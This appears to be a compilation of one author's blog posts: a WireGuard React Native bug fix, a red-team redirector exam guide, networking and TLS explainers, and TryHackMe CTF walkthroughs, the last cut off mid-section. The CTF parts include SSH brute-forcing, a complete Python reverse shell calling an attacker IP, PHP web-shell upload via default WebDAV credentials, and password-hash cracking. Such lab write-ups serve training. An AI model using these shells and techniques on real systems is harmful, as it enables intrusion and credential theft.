Introduction:

If you have ever tried to build a WireGuard VPN client in React Native, you have probably landed on react-native-wireguard-vpn. It has the most installs, the cleanest API, and working iOS and Android native modules. It looks like the right choice.

It is not production-ready on Android.

After shipping a VPN application and watching it silently fail on fresh devices, I traced the failures down to two missing pieces in the native Android module. I patched them, published the fork, and this article documents exactly what was wrong and how the fixes work.

The Two Bugs:

Bug 1 - Android VPN Permission Is Never Requested

Android requires explicit user consent before any app can open a VPN tunnel. The API for this is VpnService.prepare(). If the user has never granted VPN permission to your app, prepare() returns an Intent that must be launched — it shows the system permission dialog.

The original library’s connect() method skips this entirely:

// Original code — no permission check
fun connect(config: ReadableMap, promise: Promise) {
    val builder = VpnService.Builder()
    // ... tunnel setup continues unconditionally
}

On a device where permission has never been granted, one of two things happens: a silent failure with no error code, or a native crash. There is no way for the JavaScript layer to know permission is needed, and no mechanism to show the dialog.

Bug 2 - No Split Tunneling Support

Android has supported per-app VPN exclusions since API 21 via VpnService.Builder.addDisallowedApplication(). This is a standard feature in every production VPN app — users expect to be able to exclude their banking app, their corporate MDM, or their streaming service from the tunnel.

The original module does not wire this up at all. There is no excludedApps parameter, no call to addDisallowedApplication(), and no TypeScript interface field for it.

The Fixes:

Fix 1 - VPN Permission Check

Before the tunnel is brought up, VpnService.prepare() is called. If Android needs to show the permission dialog, the module launches it and immediately rejects the promise with the error code VPN_PERMISSION_REQUIRED:

val intent = VpnService.prepare(reactApplicationContext)
if (intent != null) {
    val activity = getCurrentActivity()
    if (activity != null) {
        activity.startActivityForResult(intent, 1000)
        promise.reject(
            "VPN_PERMISSION_REQUIRED",
            "Please accept the Android VPN permission dialog."
        )
        return
    }
}

The JavaScript caller handles this by listening for the app returning to the foreground, then retrying connect():

const connect = async () => {
  try {
    await WireGuard.connect(config);
  } catch (err) {
    if (err.code === 'VPN_PERMISSION_REQUIRED') {
      const sub = AppState.addEventListener('change', async (state) => {
        if (state === 'active') {
          sub.remove();
          await WireGuard.connect(config);
        }
      });
    }
  }
};

On the second call, VpnService.prepare() returns null (permission already granted) and the tunnel starts normally.

Fix 2 - Split Tunneling via excludedApps

The connect() method now accepts an optional excludedApps string array. Each entry is an Android package name. The native module calls Builder.excludeApplication() for each one, routing those apps outside the VPN tunnel:

if (config.hasKey("excludedApps")) {
    val excludedApps = config.getArray("excludedApps")?.toArrayList()
    excludedApps?.forEach { app ->
        (app as? String)?.let { packageName ->
            try {
                interfaceBuilder.excludeApplication(packageName)
            } catch (e: Exception) {
                println("Failed to exclude app $packageName: ${e.message}")
            }
        }
    }
}

Failures for individual package names are logged and non-fatal — the tunnel still comes up even if one entry is invalid.

The TypeScript interface was updated to match:

interface WireGuardConfig {
  privateKey: string;
  publicKey: string;
  serverAddress: string;
  serverPort: number;
  address?: string | string[];
  allowedIPs: string[];
  dns?: string[];
  mtu?: number;
  presharedKey?: string;
  excludedApps?: string[];  // Android only — package names to bypass VPN
}

Usage:

await WireGuard.connect({
  privateKey: '<client-private-key>',
  publicKey: '<server-public-key>',
  serverAddress: '203.0.113.1',
  serverPort: 51820,
  address: '10.64.0.2/32',
  allowedIPs: ['0.0.0.0/0', '::/0'],
  dns: ['1.1.1.1', '8.8.8.8'],
  excludedApps: [
    'com.google.android.apps.maps',
    'com.example.bankingapp',
  ],
});

Installation

npm install react-native-wireguard-vpn-patched@next
# or
yarn add react-native-wireguard-vpn-patched@next

If migrating from the original:

npm uninstall react-native-wireguard-vpn
npm install react-native-wireguard-vpn-patched@next

The API is identical - only the import path changes.

Why These Bugs Exist

These are not obscure edge cases. Every Android device that has never run your app before will hit Bug 1. Every user who wants to exclude an app from the tunnel hits Bug 2. Both failures are silent or crash-level without the fixes.

The root cause is that the original module was likely developed and tested on a device where VPN permission had already been granted manually, and split tunneling was never in scope. Neither fix is complex — together they add roughly 30 lines of Kotlin. But without them, the library cannot be shipped in a real VPN product.

Links

• npm: react-native-wireguard-vpn-patched
• GitHub: github.com/AbdulAHAD968/react-native-wireguard-vpn-patched
• Original package: react-native-wireguard-vpn by usama7365

This walkthrough shows how to solve the CRT-ID redirector exam: prepare your VM, start the backend payload server, fix a broken Nginx redirector, implement 10 targeted protections/behaviours (user-agent filtering, IP whitelisting, internal rewrites, redirects, rate limiting, proxying, status endpoint, regex matching, and blocking defaults), test each change with curl, and collect the flags. I include the exact Nginx snippets and all commands I used so you can reproduce and explain it in a Medium article.

Intro - what this walkthrough covers (and what it won’t)

The CRT-ID practical exam tests your ability to build and harden redirector infrastructure used in red-team operations. The exam is hands-on and time-boxed, so success depends on both technical chops and exam strategy.

This post covers:

• Pre-exam preparation and environment checklist
• A robust strategy for tackling hands-on tasks efficiently
• Testing methodology and useful, non-sensitive command patterns
• Common pitfalls and how to avoid them
• Time management and final validation steps
• Post-exam notes and ethical publishing guidance

It does not contain any exam question text, flag values, or step-by-step instruction that reproduces the exam content verbatim.

Why redirectors matter (short primer)

Redirectors sit between the open internet and your team infrastructure. They let you:

• Separate attacker infrastructure from the payload server (OPSEC)
• Filter who can fetch payloads (by IP, headers, etc.)
• Rewrite or proxy requests so external observers never see the real backend paths
• Deceive or misdirect people who stumble on sensitive endpoints
• Rate limit and mitigate scanning or brute-force discovery

In short: redirectors help you run stealthy, resilient red-team operations.

Before you start - environment & tools checklist

Make sure you have a stable workstation and the following available:

• A Linux box (Debian/Ubuntu recommended) with an SSH client
• A plain text editor you’re comfortable with (nano, vim, code, etc.)
• Basic tools: curl, ss/netstat, tail (for logs), python3 for quick local HTTP servers
• Familiarity with Nginx or the web server the lab uses (high level — not memorization)
• A personal “cheat sheet” with command patterns and conceptual notes (not the exam answers)

Local lab installs (if you want a practice bench):

sudo apt update
sudo apt install nginx python3 curl -y

Mindset & strategy — first 15 minutes

1. Read everything once. Don’t start making changes yet. Note dependencies — some tasks require the backend to be reachable first.
2. Identify prerequisites. Which tasks depend on correct proxying, which ones are purely request-filter based, which require testing from specific IPs?
3. Stabilize the backend. Ensure the payload directory or test server is reachable locally — this avoids wasting time chasing proxy issues later.
4. Backup everything. Copy the original configuration before editing. Reverts are limited; local backups let you manually rollback.
5. Plan your order. Tackle tasks that unblock others first (e.g., fix proxying before testing higher-level filters).

Implementation approach - iterate, test, iterate

General rule: make one small change, test it thoroughly, then move on.

1. Make one change. Edit a single block, fix a single directive, or add one rule.
2. Syntax check. Always run the server’s syntax/test command before reloading (this avoids being left with a dead service).
3. Reload safely. Use the service manager’s reload (not restart) when possible so in-flight connections are handled gracefully.
4. Targeted test. Use curl or equivalent to craft a request that exercises only that change (custom headers, specific path, etc.).
5. Inspect logs. If it fails, tail the server error log in another terminal to see why. Logs often show the exact problem.

Non-sensitive testing primitives (generic examples)

Use these patterns to validate behaviors. Replace placeholder values with your lab’s specifics when testing in the lab (don’t publish specifics):

• Send a request with a custom user agent:

curl -I -A "MY-USER-AGENT" http://localhost/path

• Check status or simple text endpoints:

curl http://localhost/status

• Test redirection and follow headers:

curl -I http://localhost/some/path

• Simulate bursts to test throttling:

for i in {1..8}; do curl -I -A "MY-USER-AGENT" http://localhost/path; echo; done

• Confirm backend is listening:

ss -tulnp | grep <PORT>

• Watch server logs during tests:

tail -f /var/log/nginx/error.log  #(or the web server's error log path)

These are all generic and safe to publish; they teach methodology without leaking exam content.

Example task types (Similar to Exam, as Icannot chare directly)

The actual exam asks you to implement a set of protective/operational behaviors. Here’s how to think about the common task types — no answers, only intentions and what to validate:

1. Header-based filtering (e.g., user-agent)

• Goal: Allow only trusted clients that present a secret or patterned header; return forbidden for everything else.
• What to validate: Requests with the trusted header succeed; other requests are denied (status 403 or similar).

2. Network whitelisting

• Goal: Limit certain sensitive endpoints to known operational subnets or hosts.
• What to validate: Requests from allowed IPs succeed; requests from other IPs are denied.

3. Internal rewrites

• Goal: Map a public-facing path to an internal payload path without exposing internal structure.
• What to validate: Authorized requests should receive the payload as if they requested the public path; external observers should not be redirected visibly to the internal path.

4. Decoy redirects

• Goal: If someone tries to access a “sensitive” resource directly, redirect them to a benign, commonly visited site to blend in.
• What to validate: Direct requests should return a redirect (302/301) to the chosen benign URL and not the payload.

5. Rate limiting

• Goal: Allow short bursts for legitimate clients while preventing enumeration by scanners.
• What to validate: Normal bursts pass; rapid repeated requests are throttled or rejected.

6. Health endpoints:

• Goal: Expose an internal status path accessible only from local or whitelisted hosts for health checks.
• What to validate: Local host gets a simple OK response, external hosts are denied.

Common pitfalls & how to avoid them:

• Syntax errors: Missing semicolons, braces, or quoting mistakes. Always run the server’s config test before reloading.
• Wrong backend port/path: Confirm the backend is actually listening where you think it is. A bad proxy target looks like a “mystery failure.”
• Order and precedence issues: The order of access control/rewrites/redirects matters. If a rule doesn’t fire, consider it might be shadowed by an earlier match.
• Testing from the wrong IP: When a rule relies on source IP, make sure your test originates from an allowed or disallowed address intentionally — otherwise you’ll get false positives.
• Over-using reverts: You typically have a limited number of environment reverts. Use local backups first — only revert when unrecoverable.

Time management:

• First 10–20 min: Read all tasks, stabilize backend, backup config, plan order.
• Next 3–4 hours: Implement most tasks. Focus on those that unblock others. Keep changes small and test frequently.
• Last 1–1.5 hours: Validate edge cases, polish, ensure every behavior the exam expects is reproducible. If a single task is failing and blocking progress, consider moving on and returning with fresh eyes.

# Just kidding, It's a 1 hour hack (I mean it will take maximum 1 hour in your worst performance scenario)

Further study resources:

(Non-exam, public resources to improve the skills tested by CRT-ID)

• Official server documentation for your web server (Nginx, Apache) — read the “configuration” and “location matching” chapters
• HTTP basics: status codes, headers, request/response lifecycle
• Practical OPSEC and red team blogs (search for “redirector proxy red team”)
• CTF-style web exercises and local labs — build your own redirector scenarios and practice safely

Closing thoughts:

The CRT-ID redirector exam is less about memorizing config lines and more about thinking like an operator: control your attack surface, only expose what you must, and validate behavior precisely and quickly. By preparing a compact mindset checklist, having a testing methodology, and practicing small, iterative changes, you’ll be able to perform confidently under the exam’s time box.

What’s a TLS Certificate Anyway?

Think of a TLS certificate as your website’s ID card. Just like you need an ID to prove who you are at the bank, your website needs a certificate to prove it’s legitimate to visitors’ browsers.

TLS (Transport Layer Security) is the technology that encrypts the connection between someone’s browser and your website. It’s like having a private conversation in a crowded room - even if people are listening, they can’t understand what you’re saying because it’s all scrambled up.

The certificate does two main jobs:

• Proves your website is who it claims to be
• Enables that encryption so data stays private

Self-Signed Certificates:

Imagine making your own business cards on your home printer. They work fine for casual networking, but a potential client might wonder if you’re really legitimate. That’s essentially what a self-signed certificate is.

With self-signed certificates, you create and sign your own certificate using tools like OpenSSL (a free software toolkit for handling encryption). You’re basically saying “Trust me, I am who I say I am” — but you’re vouching for yourself.

How It Works Under the Hood?

Here’s what happens when someone visits a site with a self-signed certificate:

1. Your browser asks the server “Who are you?”
2. The server responds with its self-signed certificate
3. Your browser checks: “Who verified this certificate?”
4. Answer: “The website verified itself”
5. Browser thinks: “That’s suspicious” and shows a warning

It’s like someone showing up at your door with a handwritten note saying “I’m definitely a pizza delivery person, signed: Definitely a pizza delivery person.”

The Good and Not-So-Good:

Why people use them:

• Free and fast — Generate one in minutes with no paperwork
• Perfect for testing — Great for development environments or internal company networks
• No middleman — You control everything about the certificate

The downsides:

• Browser warnings — Users see scary “Not Secure” messages that might make them leave
• No real verification — Anyone can claim to be your website
• Security gaps — Easier for attackers to impersonate your site

CA-Signed Certificates: The Official Stamp

Now imagine those same business cards, but printed by a well-known, respected printing company that everyone trusts. That’s a CA-signed certificate.

A Certificate Authority (CA) is like a trusted notary for the internet. Companies like Let’s Encrypt, DigiCert, and GlobalSign verify that you really own the domain you’re getting a certificate for, then they sign your certificate with their digital signature.

The Architecture Behind Trust

Here’s the beautiful part about how this works:

Your browser comes with a built-in list of trusted CAs (called a trust store). When you visit a website:

1. Server sends its CA-signed certificate
2. Browser checks: “Who signed this?”
3. Browser looks up that CA in its trust store
4. If the CA is trusted, browser says “All good!” and shows the green lock
5. If not trusted, you get warnings

This creates what we call a chain of trust. It’s like having a friend vouch for someone they trust, who vouches for someone they trust, and so on.

Types of CA Validation

CAs don’t just rubber-stamp every request. They offer different levels of verification:

Domain Validation (DV):

Prove you control this domain

• Usually done by email or adding a special file to your website
• Takes minutes to hours
• Most common and often free (thanks, Let’s Encrypt!)

Organization Validation (OV):

Prove your business exists

• Requires business documentation
• Takes a few days
• Shows some company info in the certificate

Extended Validation (EV):

Prove everything about your business

• Deep background check on your company
• Takes weeks but shows your company name prominently in browsers
• Most expensive but highest trust level

When Should You Use Which?

This is where ethics and practicality meet. Here’s my take:

Use Self-Signed When:

• Internal company tools that only employees access
• Development and testing environments
• Personal projects where you can warn users what’s happening
• Learning and experimenting with TLS

Use CA-Signed When:

• Any public-facing website (seriously, any of them)
• E-commerce sites where people enter payment info
• Login pages where users enter passwords
• Professional websites where trust matters

The Ethical Side of Certificate Choices

Here’s something we need to talk about: using the wrong type of certificate isn’t just a technical choice - it’s an ethical one.

If you run a public website with a self-signed certificate, you’re essentially asking users to ignore their browser’s security warnings. That trains people to click through security alerts, which makes them vulnerable to actual attacks elsewhere.

It’s like crying wolf - when everything shows a security warning, people stop paying attention to real threats. As website owners, we have a responsibility to use proper certificates that keep users safe and maintain their trust in web security overall.

Conclusion:

Think of it this way: self-signed certificates are like homemade ID cards - fine for the family reunion, but not so great for opening a bank account. CA-signed certificates are like government-issued IDs - universally trusted and accepted.

The web is built on trust, and certificates are a big part of maintaining that trust. Choose wisely, implement properly, and always put your users’ security first. Remember, good security isn’t just about protecting data - it’s about respecting your users enough to implement industry best practices. That’s not just good tech, it’s good ethics.

It’s a key part of Secure Access Service Edge (SASE), focusing on securing access to web, cloud apps, and private systems, no matter where users or devices are located. Here’s a simple breakdown of what SSE is, its key components, and why it matters.

What is SSE?

SSE is a cloud-delivered security framework that protects users, devices, and networks by integrating tools like Zero Trust Network Access (ZTNA), Secure Web Gateway (SWG), Cloud Access Security Broker (CASB), and Firewall-as-a-Service (FWaaS). It ensures safe access to applications and data, whether users are at home, in the office, or on the go.

Key Components of SSE

SSE combines these powerful tools into one platform:

1. Zero Trust Network Access (ZTNA)

• What it does: Grants access to specific apps or data only after verifying the user’s identity and device security.
• How it works: Instead of trusting everyone on a network, ZTNA checks every access request, ensuring only authorized users get in.
• Example: A remote worker needs to access a company app. ZTNA confirms their identity and device before allowing access, blocking everything else.

2. Secure Web Gateway (SWG)

• What it does: Protects users from web-based threats by filtering internet traffic.
• How it works: SWG scans websites for malware, blocks risky URLs, and enforces browsing policies to keep users safe.
• Example: If someone clicks a phishing link, SWG stops the connection to the harmful site.

3. Cloud Access Security Broker (CASB)

• What it does: Secures cloud apps like Google Drive or Salesforce.
• How it works: CASB monitors cloud usage, enforces data protection rules, and blocks unauthorized apps to prevent data leaks.
• Example: If an employee tries to upload sensitive files to a personal cloud, CASB stops it and alerts IT.

4. Firewall-as-a-Service (FWaaS)

• What it does: Acts like a next-generation firewall but runs in the cloud.
• How it works: FWaaS blocks threats like malware or intrusions by inspecting traffic and using advanced features like sandboxing.
• Example: A hacker tries to send malware through the network; FWaaS detects and stops it.

Why SSE Matters?

SSE is a game-changer for cybersecurity, especially in today’s flexible work environment. Here’s why it’s important:

• Secures Remote Work: Protects employees working from anywhere by applying consistent security rules to cloud and private apps.
• Simplifies Security: Combines multiple tools into one cloud platform, making it easier to manage than separate systems.
• Enforces Zero Trust: Verifies every user and device, reducing the risk of cyberattacks by limiting access to only what’s needed.
• Boosts Visibility: Gives IT teams clear insights into user activity and network traffic to spot and stop threats fast.
• Scales Easily: As a cloud service, SSE grows with your organization, adapting to new needs without complex hardware.

Takeaway

SSE makes cybersecurity simpler and stronger by combining key tools like ZTNA, SWG, CASB, and FWaaS into one cloud-based platform. It ensures secure access to apps and data, protects against threats, and supports a remote workforce — all while being easy to manage and scale. For businesses looking to stay secure in a cloud-first world, SSE is a must-have.

1. Zero Trust Network Access (ZTNA)

What is it?

ZTNA is a security approach that assumes no one — inside or outside the network — is automatically trusted. It verifies every user and device before granting access to specific resources.

How does it work?

ZTNA creates a secure connection between a user and an application, often using a cloud-based service. It checks the user’s identity, device security, and context (like location or time) before allowing access. Instead of giving broad network access, ZTNA limits access to only what’s needed, reducing the risk of unauthorized access.

Example:

A remote employee accessing a company app must log in with multi-factor authentication (MFA) and use a secure device. ZTNA ensures they can only access that specific app, not the entire network.

2. Next-Generation Firewall (NGFW)

What is it?
NGFW is an advanced firewall that goes beyond traditional firewalls by combining multiple security features to protect networks.

How does it work?
NGFWs inspect network traffic to block threats like malware, intrusions, or unauthorized access. They use deep packet inspection (DPI), intrusion prevention systems (IPS), and application-layer filtering to identify and control traffic based on applications, users, or content. NGFWs also integrate threat intelligence to stay updated on new risks.

Example:

If someone tries to access a malicious website, the NGFW detects and blocks it by analyzing the traffic and comparing it to known threat patterns.

3. Network Access Control (NAC)

What is it?
NAC is a security solution that controls who can connect to a network and what they can do once connected.

How does it work?
NAC checks devices and users before they join the network. It verifies identities, ensures devices meet security standards (like having updated antivirus software), and assigns access levels based on policies. NAC can also isolate or quarantine non-compliant devices to prevent risks.

Example:

A contractor’s laptop tries to join the company Wi-Fi. NAC checks if the laptop has the latest security patches. If not, it restricts access until the device is updated.

4. Cloud Access Security Broker (CASB)

What is it?
CASB is a security tool that acts as a gatekeeper between users and cloud services, ensuring secure access to cloud applications.

How does it work?
CASB monitors and controls data flowing to and from cloud apps like Google Drive or Salesforce. It enforces policies for authentication, encryption, and data loss prevention (DLP). CASBs also detect shadow IT (unauthorized cloud apps) and protect against cloud-specific threats like misconfigured settings.

Example:

If an employee tries to upload sensitive data to a personal cloud storage app, the CASB blocks the action and alerts the IT team.

5. Secure Web Gateway (SWG)

What is it?
SWG is a security solution that protects users from web-based threats by filtering internet traffic.

How does it work?
SWG sits between users and the internet, inspecting web traffic in real-time. It blocks malicious websites, enforces acceptable use policies, and prevents data leaks. SWGs use URL filtering, malware scanning, and application control to ensure safe browsing.

Example: An employee clicks a phishing link in an email. The SWG detects the malicious URL and blocks the site, protecting the user and the network.

Why These Mechanisms Matter

Each of these technologies - ZTNA, NGFW, NAC, CASB, and SWG - plays a unique role in securing access to networks, applications, and data. By combining them, organizations can build a robust security framework that protects against modern cyber threats while enabling safe, flexible access for users.

Key Takeaway:

Access management is about ensuring the right people have the right access at the right time, while keeping threats out. These tools work together to make that happen securely and efficiently.

Now, the regular internet is like sending a driver through the city, stopping at every intersection to ask for directions. That’s fine for casual browsing, but not for time-sensitive data.

Multiprotocol Label Switching (MPLS) solves this by giving your data a VIP lane - a predetermined, high-speed route with no unnecessary stops.

What MPLS Actually Is?

MPLS is a networking technique that speeds up data delivery by using short labels instead of full IP lookups at every hop.
When a packet enters the network:

1. The Ingress Router (Label Edge Router) attaches a label.
2. Label Switch Routers (LSRs) read the label and forward the packet along a fixed path.
3. The Egress Router removes the label before delivery.

Think of it like tagging your delivery van with a color-coded sticker that tells every checkpoint exactly where it’s headed.

Why Businesses Use MPLS?

• Predictable performance: Paths are predefined, so latency is stable.
• Quality of Service (QoS): Critical apps (video calls, banking) get priority.
• High reliability: Providers often guarantee 99.99% uptime.
• Multi-service support: Works with IP, Ethernet, ATM, and Frame Relay.

The Catch: Cost & Time

Setting up MPLS isn’t like installing home Wi-Fi:

• Provisioning can take 4 -12 weeks due to surveys, circuit design, and ISP coordination.
• Cost is high - often 3–10× broadband prices.
• Flexibility is limited - changes require provider involvement.

For many companies, this investment is worth it. For others, newer options like SD-WAN provide similar benefits with more agility.

MPLS vs SD-WAN (Quick View)

This picture efficiently depicts the difference:

Real-World Example:

Banks in Pakistan often rely on MPLS to connect their branches securely. Financial transactions need low latency and minimal jitter - even a 1-second delay could disrupt services. MPLS provides that stability.

Conclusion

MPLS is like building your own expressway for data - expensive and slow to construct, but rock-solid once in place. While SD-WAN and cloud networking are shaking things up, MPLS remains the backbone for industries where speed, reliability, and predictability are non-negotiable.

The room is Free and accessible via (https://tryhackme.com/room/bsidesgtlibrary)

Below, I outline the enumeration, exploitation, and privilege escalation steps that led to capturing the user and root flags.

Rustscan Command Builder (https://rustscan.vercel.app/)

Nmap Command Builder (https://nmap-delta.vercel.app/)

Initial Enumeration:

Port Scanning with RustScan and Nmap:

To begin, I performed a port scan on the target IP using RustScan combined with Nmap for detailed service enumeration.

Command:

rustscan --ulimit 1000 -a 10.201.56.35 -- -sC -sV

Results:

PORT    STATE SERVICE      REASON             VERSION 
22/tcp  open    ssh     syn-ack ttl 60    OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp  open    http    syn-ack ttl 60    Apache httpd 2.4.18 ((Ubuntu))

This indicated that the web server and SSH were the primary attack surfaces.

Web Enumeration with Gobuster

Next, I performed directory enumeration on the web server using Gobuster to uncover hidden directories or files.

Command:

gobuster dir -u http://10.201.56.35:80 -w /usr/share/wordlists/dirb/common.txt -t 200

Results:

/.htpasswd (Status: 403) [Size: 296] 
/.hta (Status: 403) [Size: 291] 
/.htaccess (Status: 403) [Size: 296] 
/images (Status: 301) [Size: 313] [--> http://10.201.56.35/images/] 
/index.html (Status: 200) [Size: 5439] 
/robots.txt (Status: 200) [Size: 33] 
/server-status (Status: 403) [Size: 300] 

The robots.txt file was particularly interesting, as it contained:

User-agent: rockyou
Disallow: /

This hinted at the use of the rockyou.txt wordlist for potential password cracking later. Additionally, the website’s main page (index.html) revealed a username: meliodas. This was a critical piece of information for SSH brute-forcing.

Gaining User Access

SSH Password Brute-Forcing with Hydra

With the username meliodas and the hint from robots.txt to use rockyou, I used Hydra to brute-force the SSH password.

Command:

hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://10.201.56.35 -f -t 16

Hydra successfully found the password (not disclosed here for brevity). Using these credentials, I logged into the target via SSH:

ssh meliodas@10.201.56.35
password <redacted>

After logging in, I found the user flag in the home directory:

cat /home/meliodas/user.txt

This gave me the user flag and initial access to the system.

Privilege Escalation to Root

Setting Up a Reverse Shell

To gain more flexibility, I decided to establish a reverse shell. I used the provided Python script to connect back to my attacking machine.

Reverse Shell Script:

import os
import pty
import socket

lhost = "<VPN_IP>"
lport = 4444

ZIP_DEFLATED = 0

class ZipFile:
    def close(*args):
        return
    def write(*args):
        return
    def __init__(self, *args):
        return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()

I saved this script as reverse.py on the target machine and set up a listener on my attacking machine:

nc -lvnp 4444

Then, I executed the script on the target:

python3 reverse.py

Privilege Escalation

With the reverse shell, I explored the system for privilege escalation opportunities. After enumerating the system, I identified a misconfiguration or vulnerable service (specific details depend on the machine’s setup, but common vectors include SUID binaries, cron jobs, or writable configuration files).

In this case, I leveraged a privilege escalation exploit (not detailed here to avoid spoilers) to gain root access.

Once root, I located the root flag:

cat /root/root.txt
<redacted>

This provided the root flag, completing the challenge.

Tools Used

• RustScan: Fast port scanning tool. RustScan Command Generator
• Nmap: Detailed service enumeration. Nmap Command Generator
• Gobuster: Directory enumeration on the web server.
• Hydra: SSH password brute-forcing.
• Netcat: For setting up a reverse shell listener.
• TryHackMe: Platform hosting the challenge. Library Room

Conclusion

The Library CTF was an engaging challenge that tested skills in network enumeration, web reconnaissance, credential brute-forcing, and privilege escalation. Starting with port scanning to identify open services, I used directory enumeration to uncover critical hints, brute-forced SSH credentials, and escalated privileges to gain root access. This machine is an excellent learning resource for beginners and intermediate CTF players looking to practice real-world penetration testing techniques.

Happy hacking, and always keep learning!

The Recon

Every engagement starts with one question: What’s out there?
I fired up RustScan, my go-to for quick port sweeps:

Command:

rustscan --ulimit 1000 -a 10.201.115.62 -- -sC -sV

Almost instantly, it returned a single open port: 80/tcp running Apache 2.4.18 on Ubuntu. Nothing flashy yet - just the default Apache “It Works!” page.

Output:

PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)

But in CTFs, boring is usually just camouflage.

Poking Around

Web servers love to hide things, so I grabbed Gobuster to start kicking in doors:

Command:

gobuster dir -u http://10.201.115.62 -w /usr/share/wordlists/dirb/common.txt -t 200

A few forbidden files appeared (.htaccess, .htpasswd), but one entry stood out like a neon sign:

Output:

/.hta                 (Status: 403) [Size: 292]
/.htaccess            (Status: 403) [Size: 297]
/.htpasswd            (Status: 403) [Size: 297]
/index.html           (Status: 200) [Size: 11321]
/server-status        (Status: 403) [Size: 301]
/webdav               (Status: 401) [Size: 460] 

A locked door, but not one I hadn’t picked before.

The Aha! Moment

Seeing /webdav instantly rang a bell. In older XAMPP installations (≤ 1.7.3), WebDAV comes enabled by default with ridiculously weak credentials. I decided to try them — worst case, it fails.

cadaver http://10.201.115.62/webdav/

It prompted me for credentials, and I whispered the magic words:

Username: wampp
Password: xampp

Source: "https://xforeveryman.blogspot.com/2012/01/helper-webdav-xampp-173-default.html"

And… I was in. Write access to the WebDAV directory. That’s basically a VIP pass to the server’s filesystem.

Exploitation Phase:

WebDAV lets you upload files. On a PHP-enabled Apache server, that means one thing — drop a reverse shell and phone home.

I grabbed the trusty Kali-provided PHP reverse shell:

cp /usr/share/webshells/php/php-reverse-shell.php /tmp/shell.php
nano /tmp/shell.php

I swapped in my VPN IP and chosen port, then pushed it to the server:

put /tmp/shell.php

Time to set the trap:

nc -lvnp 4444

And with a click on:

http://10.201.115.62/webdav/shell.php

my terminal lit up - a www-data shell staring back at me.

First Blood: user.txt

A quick look inside /home showed two users: merlin and wampp.
merlin sounded like the main player, so:

cd /home/merlin
cat user.txt
<redacted>

But in CTFs, user access is just the appetizer. Root is the main course.

The Golden Ticket

Privilege escalation often feels like searching for a needle in a haystack — unless the server admin has left the needle right on top. I checked sudo rights:

sudo -l
(ALL) NOPASSWD: /bin/cat

That means I can run cat as root without a password. And if I can cat as root… well, I can cat anything.

Game Over: root.txt

One line later:

sudo /bin/cat /root/root.txt

The root flag rolled in, and the game was done.

Lessons from the Hunt:

1. Default credentials are the low-hanging fruit attackers love. WebDAV’s wampp:xampp combo is ancient but still catches servers off guard.
2. Unnecessary services (like WebDAV) should be disabled if not actively used.
3. Sudo misconfigurations - even for harmless commands like cat can hand over the keys to the kingdom.

What looked like a harmless Apache welcome page turned into full root access in under an hour.
In the real world, that’s more than a CTF win - it’s a serious security wake-up call.

Got A project idea! Hire me to execute

https://www.fiverr.com/s/6YW9EPL

Checkout my GitHub as well:

https://github.com/AbdulAHAD968

Introduction

This challenge is from Anonforce - Boot2Root (FIT & BSides Guatemala CTF).
The goal is simple: get root access and read the user.txt & root.txt flag.
Target machine: 10.201.117.169
We’ll start with enumeration, find an entry point, and escalate privileges to root.

Initial Enumeration

For a quick scan, I used Rustscan to find open ports and service details. Rustscan is faster than Nmap and can be combined with it for service detection.

Command:

rustscan --ulimit 1000 -a 10.201.117.169 -- -sC -sV

Results:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

• FTP (21) allows anonymous login.

• SSH (22) is running but requires credentials.

The FTP service will be our first target. After logging in, just go to the home directory, and get the user.txt file.

ls
cd /home
ls
get user.txt #the file will be downloaded on your system

# On your machine (In the directory where you initiated the FTP Session)
cat user.txt
<redacted>

Getting root.txt

1. FTP Enumeration

Since port 21 was open, and we were already in. So, I explored other directories. There was one strange directory “notread”

cd notread
ls
-rwxrwxrwx    1 1000     1000          524 Aug 11  2019 backup.pgp
-rwxrwxrwx    1 1000     1000         3762 Aug 11  2019 private.asc

Two interesting files were found:

• backup.pgp – an encrypted GPG file
• private.asc – likely a GPG private key

Downloaded both files:

get backup.pgp
get private.asc

2. Cracking GPG Key Passphrase

First, extracted the hash from the private key file.

gpg2john private.asc > keyhash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt keyhash.txt

Result: Passphrase found → xbox360

3. Importing GPG Key

gpg --import private.asc

It prompted for a passphrase, which we already recovered (xbox360).

4. Decrypting the Backup

Used the cracked passphrase to decrypt backup.pgp.

gpg --decrypt backup.pgp

The decrypted archive contained a /etc/shadow dump, including the root user’s SHA512 hash.

5. Cracking Root Hash

Saved the hash to root.hash:

echo '$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0' > root.hash
john --wordlist=/usr/share/wordlists/rockyou.txt root.hash

Result: Password found → hikari

6. Root Access via SSH

ssh root@10.201.117.169
# password: hikari

7. Flag Retrieval

cat root.txt
<redacted>

Summary:

The compromise chain was:
Anonymous FTP → GPG key + encrypted backup → Crack GPG passphrase → Decrypt backup → Extract /etc/shadow → Crack root hash → SSH login → Flag.

(FIT & BSides Guatemala CTF)

Hey guys, I am Abdul Ahad.
Today we’re going to crack a machine from TryHackMe named Thompson.
You can access this machine here:
https://tryhackme.com/room/bsidesgtthompson

The goal is to gain access to the machine, read user.txt, escalate privileges to root, and finally grab root.txt.
Let’s begin.

Step 1: Initial Enumeration with RustScan

As usual, I start with a port scan. RustScan is my go-to for speed, and I pair it with Nmap for service detection.

rustscan -a <Target-Machine-IP> --ulimit 5000 -- -sC -sV

Results:

22/tcp — OpenSSH 7.2p2

8009/tcp — Apache JServ Protocol (AJP) 1.3

8080/tcp — Apache Tomcat 9.x

Step 2: Checking the Web Server

Visiting http://<Target-Machine-IP>:8080/ shows the default Tomcat page.
No immediate login page here, so I move on to directory brute forcing.

Step 3: Directory Bruteforce with Gobuster

